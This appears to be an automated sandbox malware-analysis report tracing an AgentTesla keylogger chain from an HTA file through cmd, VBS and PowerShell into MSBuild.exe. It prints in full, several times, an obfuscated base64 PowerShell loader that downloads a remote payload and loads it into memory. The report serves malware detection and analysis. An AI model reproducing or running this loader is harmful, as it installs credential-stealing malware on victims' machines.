#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::From			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00C3DAF0	5_2_00C3DAF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_0101B6B2	8_2_0101B6B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_01014AC8	8_2_01014AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_01013EB0	8_2_01013EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_010141F8	8_2_010141F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_0101AB38	8_2_0101AB38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_0101ABF3	8_2_0101ABF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_062A4200	8_2_062A4200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_062A3050	8_2_062A3050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_062A59A8	8_2_062A59A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_062A0040	8_2_062A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_062A52C0	8_2_062A52C0

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3009
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3009			Jump to behavior

Source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 5.2.powershell.exe.5e0e358.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.5e0e358.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 7624, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, 9O2OLI.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, hdYUG.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, LGBZ4N2f.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, F8OmG.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, Bgo.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, k7FmsUgnvL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.5e0e358.7.raw.unpack, dVjkZ3EEsen.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7468:120:WilError_03

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\morninghtaaaafilex.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript //nologo "C:\Windows\Temp\octupole.vbs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1 /nobreak
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::From
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe wscript //nologo "C:\Windows\Temp\octupole.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 1 /nobreak	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::From	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
